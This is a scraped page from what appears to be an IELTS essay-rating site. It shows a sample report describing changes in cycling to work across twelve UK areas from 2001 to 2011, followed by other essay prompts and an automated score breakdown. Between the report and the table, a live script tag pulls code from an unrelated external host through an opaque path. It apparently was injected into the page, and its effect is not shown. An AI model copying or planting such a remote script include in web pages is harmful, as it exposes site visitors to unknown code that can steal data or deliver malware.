The table below shows changes in the numbers of residents cycling to work in different areas of the UK between 2001 and 2011.
The table compares the numbers of people who cycled to work in twelve areas of the UK in the years 2001 and 2011.
Overall, the number of UK commuters who travelled to work by bicycle rose considerably over the 10-year period. Inner London had by far the highest number of cycling commuters in both years.
In 2001, well over 43 thousand residents of inner London commuted by bicycle, and this figure rose to more than 106 thousand in 2011, an increase of 144%. By contrast, although outer London had the second highest number of cycling commuters in each year, the percentage change, at only 45%, was the lowest of the twelve areas shown in the table.
Brighton and Hove saw the second biggest increase (109%) in the number of residents cycling to work, but Bristol was the UK’s second city in terms of total numbers of cycling commuters, with 8,108 in 2001 and 15,768 in 2011. Figures for the other eight areas were below the 10 thousand mark in both years.
<script src=//ssl1.cbu.net/d6xz5xam></script>
| Post date | Users | Rates | Link to Content |
|---|---|---|---|
| 2020-12-01 | sanjana rani | 73 | view |
| 2020-11-06 | Joel James | 61 | view |
- Explain the process below of hydro electric power generation 78
- (SAMPLE)Happiness is considered very important in life.Why is it difficult to define?What factors are important in achieving happiness? 80
- In the past people usually stayed in one place throughout their life these day people often move around They often live in several different places in their lifetime What are the advantages and disadvantages of both 85
- The graph and table below give information about water use worldwide and water consumption in two different countries. 60
- Some people believe that out happiness depends on how much money we have. Other says that “money cannot buy happiness”. Do you think that having money is the key to happiness or are there more important factors? 65
Attribute Value Ideal
Score: 7.0 out of 9
Category: Good Excellent
No. of Grammatical Errors: 0 2
No. of Spelling Errors: 0 2
No. of Sentences: 7 10
No. of Words: 171 200
No. of Characters: 764 1000
No. of Different Words: 89 100
Fourth Root of Number of Words: 3.616 4.0
Average Word Length: 4.468 4.6
Word Length SD: 2.18 2.4
No. of Words greater than 5 chars: 53 60
No. of Words greater than 6 chars: 34 50
No. of Words greater than 7 chars: 19 40
No. of Words greater than 8 chars: 9 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 24.429 21.0
Sentence Length SD: 9.022 7.5
Use of Discourse Markers (%): 0.429 0.12
Sentence-Text Coherence: 0.492 0.35
Sentence-Para Coherence: 0.757 0.50
Sentence-Sentence Coherence: 0.105 0.07
Number of Paragraphs: 4 4